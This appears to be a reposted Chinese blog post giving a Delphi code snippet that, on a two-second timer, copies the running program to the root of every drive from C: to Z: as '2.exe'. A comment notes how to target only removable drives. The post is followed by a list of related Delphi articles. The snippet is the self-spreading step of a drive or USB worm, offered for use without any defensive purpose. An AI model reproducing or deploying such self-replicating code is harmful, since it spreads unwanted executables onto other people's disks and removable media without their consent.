delphi 利用for循环自我复制到全盘用timer监控

本文整理自网络，侵删。

 var
i:char;
s3:string;
//设为2秒
procedure TForm1.Timer1Timer(Sender: TObject); //每2秒运行1次
begin
for i:='C' to 'Z' do //注意下面的begin end;
begin
s3:=pchar(i+':\2.exe');
copyfile(pchar(application.Exename),pchar(s3),False);
if not Fileexists(s3) then
Timer1.Enabled:=true
else
Timer1.Enabled:=false;
end;
end;

end.
//移动硬盘返回 DRIVE_REMOVABLE
//本地硬盘返回 DRIVE_FIXED
//可选 if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then
 

相关阅读 >>

Delphi 监视剪贴板内容

Delphi 获取网卡mac代码可用2020.01.22

Delphi regularexpressions 正则表达式如何忽略大小写

Delphi中使用低层钩子 屏蔽win、ctrl+esc、alt+tab、alt+f4

Delphi 显示程序占用内存多少

Delphi 精确打印image画布

Delphi webbrowser 滚动条的去除、边框去除

Delphi 10.4.1的编译器bug终于修正了！

Delphi区分汉字和字母的函数

Delphi 获取当前系统语言环境（en，fr，ja等）

更多相关阅读请进入《Delphi》频道 >>

转载请注明出处：木庄网络博客 » delphi 利用for循环自我复制到全盘用timer监控